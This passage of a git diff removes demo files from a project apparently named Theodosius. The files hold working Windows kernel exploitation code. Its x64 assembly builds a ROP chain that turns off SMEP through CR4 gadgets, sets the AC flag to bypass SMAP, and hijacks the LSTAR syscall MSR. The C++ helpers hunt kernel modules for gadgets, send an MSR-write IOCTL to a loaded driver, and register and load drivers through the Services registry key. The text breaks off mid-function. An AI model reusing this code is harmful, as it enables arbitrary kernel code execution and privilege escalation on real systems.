0xC8, 0x4F, 0x56, 0xF6, 0x90, 0xE8, 0xB5, 0x63, - 0x20, 0x76, 0xE7, 0x31, 0xE9, 0x6B, 0x73, 0xE7, 0x9C, 0x0C, 0x30, 0x81, - 0x98, 0x30, 0x81, 0x80, 0xA4, 0x7E, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, - 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, - 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, - 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, - 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, - 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, - 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, - 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, - 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, - 0x61, 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, - 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, - 0xE9, 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x16, 0x04, - 0x14, 0xC9, 0x29, 0xD4, 0x98, 0x94, 0x7C, 0x74, 0xAD, 0x6B, 0x91, 0x2B, - 0x9C, 0xD1, 0x21, 0xA5, 0x0A, 0x8F, 0xAA, 0x08, 0xD5, 0x30, 0x0D, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, - 0x04, 0x82, 0x01, 0x00, 0x87, 0xF7, 0x8F, 0xC9, 0x8F, 0x27, 0x91, 0x8A, - 0xD7, 0x16, 0x3B, 0xAD, 0x2D, 0x44, 0xF9, 0xFD, 0x5C, 0xF8, 0xB5, 0xC8, - 0x9A, 0x7F, 0x54, 0xD5, 0xE8, 0x34, 0x27, 0xAC, 0x04, 0xC4, 0x2D, 0xB3, - 0x96, 0xE8, 0xCB, 0xE8, 0x99, 0x84, 0x36, 0xE6, 0xFA, 0x67, 0x54, 0xB7, - 0xA5, 0x6C, 0xA3, 0xAD, 0x36, 0x9F, 0xE8, 0x61, 0xCD, 0xAC, 0xF3, 0x71, - 0x4C, 0xD3, 0x16, 0x7E, 0xD4, 0xEE, 0x5D, 0xA5, 0x99, 0x24, 0xE4, 0x12, - 0x34, 0x1D, 0xE8, 0x02, 0xC2, 0xB3, 0x6F, 0xB4, 0xE7, 0x03, 0xE4, 0x3A, - 0xF9, 0x96, 0x3B, 0x64, 0xA2, 0x13, 0x80, 0xB2, 0xA7, 0x86, 0x6D, 0x65, - 0x99, 0x21, 0x3B, 0xD0, 0x3E, 0xC4, 0x28, 0xD5, 0xEB, 0x8F, 0xC8, 0xF7, - 0xB0, 0x8E, 0xEF, 0xEF, 0x77, 0x77, 0x64, 0xC0, 0x30, 0xD1, 0x6D, 0xE6, - 0x31, 0x6B, 0xD6, 0xA8, 0xD2, 0xEC, 0x04, 0x9F, 0xFF, 0x4F, 0x00, 0x61, - 0xC9, 0x92, 0x1C, 0xAA, 0xD6, 0xA7, 0x17, 0xC8, 0xD6, 0x36, 0xA6, 0x0E, - 0xD5, 0xB3, 0x40, 0xF4, 0xA6, 0x53, 0xCA, 0xDE, 0xB3, 0xEB, 0x91, 0xF1, - 0x49, 0x09, 0x13, 0xCF, 0x05, 0x0B, 0x7C, 0x93, 0xA7, 0xBB, 0x26, 0xD0, - 0x4F, 0xE2, 0x3F, 0xC0, 0xFA, 0x05, 0x42, 0x01, 0x48, 0xCF, 0x7A, 0x65, - 0xFA, 0x6D, 0x3D, 0x57, 0x9A, 0x45, 0xA1, 0xB6, 0xC6, 0x01, 0x6A, 0x85, - 0x0F, 0x45, 0x47, 0x1E, 0xB0, 0x91, 0x64, 0x93, 0x89, 0xC3, 0x49, 0xD4, - 0x95, 0xD0, 0xF2, 0x0A, 0x4F, 0x12, 0x2C, 0x00, 0x4C, 0x19, 0x9B, 0x12, - 0xF4, 0x8C, 0xE6, 0x68, 0xD1, 0x28, 0xBA, 0x46, 0x42, 0x95, 0x87, 0xC3, - 0x33, 0xF6, 0x5E, 0x1E, 0x80, 0xEC, 0xAA, 0x49, 0x0C, 0xA8, 0x47, 0x50, - 0xBA, 0xA7, 0x3E, 0x6F, 0xBE, 0xAE, 0x9A, 0xBE, 0x2F, 0xA0, 0x1C, 0x33, - 0x82, 0x71, 0x9E, 0xE1, 0xE4, 0x5D, 0xCF, 0xD3 -}; \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/syscall_handler.asm b/demos/Theodosius-Kernel/Theodosius-MSREXEC/syscall_handler.asm deleted file mode 100644 index 333b5eb..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/syscall_handler.asm +++ /dev/null @@ -1,90 +0,0 @@ -extern msrexec_handler : proc - -.data - ; offsets into _KPCR/_KPRCB - m_kpcr_rsp_offset dq 0h - m_kpcr_krsp_offset dq 0h - m_system_call dq 0h - - m_mov_cr4_gadget dq 0h - m_sysret_gadget dq 0h - m_pop_rcx_gadget dq 0h - - m_smep_on dq 0h - m_smep_off dq 0h - - public m_smep_on - public m_smep_off - - public m_kpcr_rsp_offset - public m_kpcr_krsp_offset - - public m_pop_rcx_gadget - public m_mov_cr4_gadget - public m_sysret_gadget - public m_system_call - -.code -syscall_handler proc - swapgs ; swap gs to kernel gs (_KPCR...) - - mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB - mov gs:[rax], rsp - - mov rax, m_kpcr_krsp_offset ; load kernel rsp.... - mov rsp, gs:[rax] - - push rcx ; push RIP - push r11 ; push EFLAGS - - mov rcx, r10 ; swapped by syscall instruction so we switch it back... - sub rsp, 020h - call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...) - add rsp, 020h - - pop r11 ; pop EFLAGS - pop rcx ; pop RIP - - mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack... - mov rsp, gs:[rax] - - swapgs ; swap back to TIB... - ret -syscall_handler endp - -syscall_wrapper proc - push r10 ; syscall puts RIP into rcx... - pushfq - - mov r10, rcx ; swap r10 and rcx... - push m_sysret_gadget ; REX.W prefixed... - - lea rax, finish ; preserved value of RIP by putting it on the stack here... - push rax ; - - push m_pop_rcx_gadget ; gadget to put RIP back into rcx... - push m_mov_cr4_gadget ; turn smep back on... - - push m_smep_on ; value of CR4 with smep off... - push m_pop_rcx_gadget ; - - lea rax, syscall_handler ; rop to syscall_handler to handle the syscall... - push rax ; - - push m_mov_cr4_gadget ; disable smep... - push m_smep_off ; - - pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!! - pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"... - or rax, 040000h ; - push rax ; - popfq ; - - syscall ; LSTAR points at a pop rcx gadget... - ; it will put m_smep_off into rcx... -finish: - popfq ; restore EFLAGS... - pop r10 ; restore r10... - ret -syscall_wrapper endp -end \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/syscall_handler.h b/demos/Theodosius-Kernel/Theodosius-MSREXEC/syscall_handler.h deleted file mode 100644 index 153ae0b..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/syscall_handler.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once -#include "ia32.hpp" - -extern "C" std::uint32_t m_kpcr_rsp_offset; -extern "C" std::uint32_t m_kpcr_krsp_offset; - -extern "C" std::uintptr_t m_pop_rcx_gadget; -extern "C" std::uintptr_t m_mov_cr4_gadget; -extern "C" std::uintptr_t m_sysret_gadget; - -extern "C" cr4 m_smep_on; -extern "C" cr4 m_smep_off; -extern "C" std::uintptr_t m_system_call; -extern "C" void syscall_wrapper(...); \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/theo.h b/demos/Theodosius-Kernel/Theodosius-MSREXEC/theo.h deleted file mode 100644 index 3615438..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/theo.h +++ /dev/null @@ -1,40 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - -namespace obfuscation{ class obfuscate; } -namespace lnk { using obj_buffer_t = std::vector; } - -namespace theo -{ - using malloc_t = std::function; - using memcpy_t = std::function; - - using resolve_symbol_t = std::function; - using mapper_routines_t = std::tuple; - - class hmm_ctx - { - public: - explicit hmm_ctx(const mapper_routines_t& routines); - auto map_objs(std::vector& objs) -> bool; - auto get_symbol(std::string symbol_name) -> std::uintptr_t; - - malloc_t alloc; - memcpy_t mcopy; - resolve_symbol_t resolve_symbol; - private: - bool map_symbols(std::vector& objs); - bool map_obfuscated_symbols(std::vector& objs); - - bool resolve_relocs(std::vector& objs); - bool alloc_obfuscated_symbol_space(std::vector& objs); - bool alloc_symbol_space(std::vector& objs); - - std::map mapped_symbols; - std::map> obfuscated_gadgets; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/utils.hpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/utils.hpp deleted file mode 100644 index e6d63d3..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/utils.hpp +++ /dev/null @@ -1,423 +0,0 @@ -/* - WARNING: utils.hpp must be the first file included... - this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS... -*/ - -#pragma once -#define _CRT_SECURE_NO_WARNINGS -#pragma comment(lib, "ntdll.lib") - -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include "ia32.hpp" - -inline bool dbg_print = false; -#define DBG_PRINT(format, ...) \ - std::printf(format, __VA_ARGS__ ) - -typedef struct _RTL_PROCESS_MODULE_INFORMATION -{ - HANDLE Section; - PVOID MappedBase; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT OffsetToFileName; - UCHAR FullPathName[256]; - } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; - -typedef struct _RTL_PROCESS_MODULES -{ - ULONG NumberOfModules; - RTL_PROCESS_MODULE_INFORMATION Modules[1]; -} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; - -#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196 -typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION -{ - struct - { - ULONG KvaShadowEnabled : 1; - ULONG KvaShadowUserGlobal : 1; - ULONG KvaShadowPcid : 1; - ULONG KvaShadowInvpcid : 1; - ULONG KvaShadowRequired : 1; - ULONG KvaShadowRequiredAvailable : 1; - ULONG InvalidPteBit : 6; - ULONG L1DataCacheFlushSupported : 1; - ULONG L1TerminalFaultMitigationPresent : 1; - ULONG Reserved : 18; - } KvaShadowFlags; -} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; - -namespace utils -{ - inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask) - { - static const auto check_mask = - [&](const char* base, const char* pattern, const char* mask) -> bool - { - for (; *mask; ++base, ++pattern, ++mask) - if (*mask == 'x' && *base != *pattern) - return false; - return true; - }; - - size -= strlen(mask); - for (auto i = 0; i <= size; ++i) - { - void* addr = (void*)&(((char*)base)[i]); - if (check_mask((char*)addr, pattern, mask)) - return reinterpret_cast(addr); - } - - return NULL; - } - - inline void open_binary_file(const std::string& file, std::vector& data) - { - std::ifstream fstr(file, std::ios::binary); - fstr.unsetf(std::ios::skipws); - fstr.seekg(0, std::ios::end); - - const auto file_size = fstr.tellg(); - - fstr.seekg(NULL, std::ios::beg); - data.reserve(static_cast(file_size)); - data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); - } - - inline std::uint32_t get_pid(const wchar_t* proc_name) - { - PROCESSENTRY32 proc_info; - proc_info.dwSize = sizeof(proc_info); - - HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); - if (proc_snapshot == INVALID_HANDLE_VALUE) - return NULL; - - Process32First(proc_snapshot, &proc_info); - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - - while (Process32Next(proc_snapshot, &proc_info)) - { - if (!wcscmp(proc_info.szExeFile, proc_name)) - { - CloseHandle(proc_snapshot); - return proc_info.th32ProcessID; - } - } - - CloseHandle(proc_snapshot); - return NULL; - } - - - namespace kmodule - { - using kmodule_callback_t = std::function; - inline void each_module(kmodule_callback_t callback) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - if (!callback(&modules->Modules[idx], full_path.c_str())) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return; - } - - inline std::uintptr_t get_base(const char* module_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - auto status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, buffer_size, &buffer_size); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - const auto current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - const auto result = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - VirtualFree(buffer, NULL, MEM_RELEASE); - return result; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - inline std::uintptr_t get_export(const char* module_name, const char* export_name) - { - void* buffer = nullptr; - DWORD buffer_size = NULL; - - NTSTATUS status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - - while (status == STATUS_INFO_LENGTH_MISMATCH) - { - VirtualFree(buffer, 0, MEM_RELEASE); - buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - status = NtQuerySystemInformation( - static_cast(0xB), - buffer, - buffer_size, - &buffer_size - ); - } - - if (!NT_SUCCESS(status)) - { - VirtualFree(buffer, 0, MEM_RELEASE); - return NULL; - } - - const auto modules = static_cast(buffer); - for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) - { - // find module and then load library it - const std::string current_module_name = - std::string(reinterpret_cast( - modules->Modules[idx].FullPathName) + - modules->Modules[idx].OffsetToFileName - ); - - if (!_stricmp(current_module_name.c_str(), module_name)) - { - auto full_path = std::string( - reinterpret_cast( - modules->Modules[idx].FullPathName)); - - if (full_path.find("\\SystemRoot\\") != std::string::npos) - full_path.replace(full_path.find("\\SystemRoot\\"), - sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\")); - - else if (full_path.find("\\??\\") != std::string::npos) - full_path.replace(full_path.find("\\??\\"), - sizeof("\\??\\") - 1, ""); - - const auto module_base = - LoadLibraryExA( - full_path.c_str(), - NULL, - DONT_RESOLVE_DLL_REFERENCES - ); - - if (!module_base) - { - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - - const auto image_base = - reinterpret_cast( - modules->Modules[idx].ImageBase); - - // free the RTL_PROCESS_MODULES buffer... - VirtualFree(buffer, NULL, MEM_RELEASE); - - const auto export_um_addr = - reinterpret_cast( - GetProcAddress(module_base, export_name)); - - if (!export_um_addr) - return NULL; - - return (export_um_addr - reinterpret_cast(module_base)) + image_base; - } - } - - VirtualFree(buffer, NULL, MEM_RELEASE); - return NULL; - } - } - - namespace pe - { - using section_callback_t = std::function; - - // returns an std::vector containing all of the bytes of the section - // and also the RVA from the image base to the beginning of the section... - inline std::pair, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name) - { - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - { - const auto _section_name = - reinterpret_cast( - section_header[idx].Name); - - // sometimes section names are not null terminated... - if (!strncmp(_section_name, section_name, strlen(section_name) - 1)) - { - const auto section_base = - reinterpret_cast( - module_base + section_header[idx].VirtualAddress); - - const auto section_end = - reinterpret_cast( - section_base + section_header[idx].Misc.VirtualSize); - - std::vector section_bin(section_base, section_end); - return { section_bin, section_header[idx].VirtualAddress }; - } - } - - return { {}, {} }; - } - - inline void each_section(section_callback_t callback, std::uintptr_t module_base) - { - if (!module_base) - return; - - const auto nt_headers = reinterpret_cast( - reinterpret_cast(module_base)->e_lfanew + module_base); - - const auto section_header = - reinterpret_cast( - reinterpret_cast(nt_headers) + sizeof(DWORD) - + sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader); - - for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx) - // keep looping until the callback returns false... - if (!callback(§ion_header[idx], module_base)) - return; - } - } - - namespace rop - { - // https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/ - // http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1 - // just implimented the rop information from these posts... - inline std::uintptr_t find_kgadget(const char* sig, const char* mask) - { - std::uintptr_t result = 0u; - kmodule::each_module( - [&](auto kernel_image, const char* image_name) -> bool - { - utils::pe::each_section( - [&](auto section_header, std::uintptr_t image_base) -> bool - { - if (section_header->Characteristics & IMAGE_SCN_CNT_CODE && - !(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)) - { - const auto rop_gadget = - utils::scan(image_base + section_header->VirtualAddress, - section_header->Misc.VirtualSize, sig, mask); - - if(rop_gadget) - result = (rop_gadget - image_base) + - reinterpret_cast(kernel_image->ImageBase); - - return !rop_gadget; - } - return true; - }, - reinterpret_cast( - LoadLibraryExA(image_name, - NULL, DONT_RESOLVE_DLL_REFERENCES)) - ); - return !result; - } - ); - return result; - } - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/vdm.hpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/vdm.hpp deleted file mode 100644 index 86624bf..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/vdm.hpp +++ /dev/null @@ -1,66 +0,0 @@ -#pragma once -#include -#include - -#include "loadup.hpp" -#include "raw_driver.hpp" -#define IOCTL_WRMSR 0x229384 - -#pragma pack (push, 1) -typedef struct _write_msr_t -{ - std::uint32_t reg; - std::uintptr_t value; -} write_msr_t, * pwrite_msr_t; -#pragma pack (pop) - -namespace vdm -{ - inline HANDLE drv_handle; - inline auto load_drv() -> std::tuple - { - const auto [result, key] = - driver::load( - raw_driver, - sizeof raw_driver - ); - - if (result != STATUS_SUCCESS) - return { {}, {}, result }; - - std::string symlink("\\\\.\\" + key); - vdm::drv_handle = CreateFileA( - symlink.c_str(), - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - - return { vdm::drv_handle, key, result }; - } - - inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS - { - if (!CloseHandle(drv_handle)) - return STATUS_FAIL_CHECK; - - return driver::unload(drv_key); - } - - inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool - { - std::uint32_t bytes_handled; - write_msr_t io_data{ reg, value }; - - return DeviceIoControl - ( - vdm::drv_handle, IOCTL_WRMSR, - &io_data, sizeof io_data, - &io_data, sizeof io_data, - (LPDWORD)&bytes_handled, nullptr - ); - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj b/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj deleted file mode 100644 index 24f8f59..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj +++ /dev/null @@ -1,105 +0,0 @@ - - - - - Debug - x64 - - - Release - x64 - - - - 16.0 - Win32Proj - {b3a57ee2-364d-42fa-a827-33f43136b549} - Theodosius - 10.0 - Theodosius-VDM - - - - Application - true - v142 - MultiByte - - - Application - false - v142 - true - MultiByte - - - - - - - - - - - - - - - - true - $(ProjectDir);$(IncludePath) - - - false - $(ProjectDir);$(IncludePath) - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - $(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions);ZYAN_NO_LIBC;ZYDIS_NO_LIBC;ZYCORE_STATIC_DEFINE;ZYDIS_STATIC_DEFINE;_CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - true - true - $(ProjectDir)libs\Theodosius.lib;%(AdditionalDependencies) - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj.filters b/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj.filters deleted file mode 100644 index 35f28f7..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj.filters +++ /dev/null @@ -1,47 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {d577b285-0f2e-4432-a4f8-3013068a09e4} - - - - - Source Files - - - Source Files - - - - - Header Files - - - Header Files - - - Header Files\vdm - - - Header Files\vdm - - - Header Files - - - Header Files - - - Header Files - - - \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj.user b/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj.user deleted file mode 100644 index e9f3ec8..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/Theodosius-VDM.vcxproj.user +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - WindowsLocalDebugger - - - - - WindowsLocalDebugger - - \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/linker.hpp b/demos/Theodosius-Kernel/Theodosius-VDM/linker.hpp deleted file mode 100644 index c0e4647..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/linker.hpp +++ /dev/null @@ -1,76 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include "utils.hpp" - -namespace lnk -{ - enum theo_type - { - obfuscate = 1, - mutate = 2, - encrypt = 3 - }; - - struct symbol_t - { - // name of the symbol... not mangled... - std::string symbol_name; - - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation - std::uint32_t type; - - // what section this symbol is in... - std::uint32_t section_number; - - // offset into section... - std::uint32_t section_offset; - - // file offset into OBJ file... - std::uint32_t file_offset; - - // only used by functions... size in bytes of routine... - std::uint32_t size; - - // if this symbol is a function and is inside of a .theo section... - theo_type obfuscate_type; - }; - - // redef of IMAGE_RELOCATION so that "VirtualAddress" - // will actually be a file offset instead of a section offset... - struct image_reloc_t - { - // name of the symbol to be resolved for example "ExAllocatePool"... - std::string resolve_symbol_name; - - // offset into the obj file where the resolving needs to be done... - std::uint32_t file_offset; - - // type of data that needs to be resolved... this will be 64bit addresses... - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators - std::uint16_t type; - }; - - using obj_buffer_t = std::vector; - using map_symbols_t = std::map>; - - auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t; - auto get_objs(std::string lib_path, std::vector& objs) -> bool; - auto get_map_symbols(std::string map_path) -> map_symbols_t; - - namespace sym - { - auto get_all(obj_buffer_t& obj) -> std::vector; - auto get_relocs(obj_buffer_t& obj)->std::vector; - } - - namespace section - { - using section_callback_t = std::function; - auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER; - auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-VDM/loadup.hpp b/demos/Theodosius-Kernel/Theodosius-VDM/loadup.hpp deleted file mode 100644 index 98864e9..0000000 --- a/demos/Theodosius-Kernel/Theodosius-VDM/loadup.hpp +++ /dev/null @@ -1,262 +0,0 @@ -/* - MIT License - - Copyright (c) 2020 xerox - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. -*/ - - -#pragma once -#include -#include -#include -#include -#include -#include - -#pragma comment(lib, "ntdll.lib") -extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); -extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); - -namespace driver -{ - namespace util - { - __forceinline auto delete_service_entry(const std::string& service_name) -> bool - { - HKEY reg_handle; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && - ERROR_SUCCESS == RegCloseKey(reg_handle);; - } - - __forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool - { - HKEY reg_handle; - std::string reg_key("System\\CurrentControlSet\\Services\\"); - reg_key += service_name; - - auto result = RegCreateKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t type_value = 1; - result = RegSetValueExA( - reg_handle, - "Type", - NULL, - REG_DWORD, - &type_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t error_control_value = 3; - result = RegSetValueExA( - reg_handle, - "ErrorControl", - NULL, - REG_DWORD, - &error_control_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t start_value = 3; - result = RegSetValueExA( - reg_handle, - "Start", - NULL, - REG_DWORD, - &start_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - result = RegSetValueExA( - reg_handle, - "ImagePath", - NULL, - REG_SZ, - (std::uint8_t*) drv_path.c_str(), - drv_path.size() - ); - - if (result != ERROR_SUCCESS) - return false; - - return ERROR_SUCCESS == RegCloseKey(reg_handle); - } - - __forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool - { - HANDLE token_handle = nullptr; - 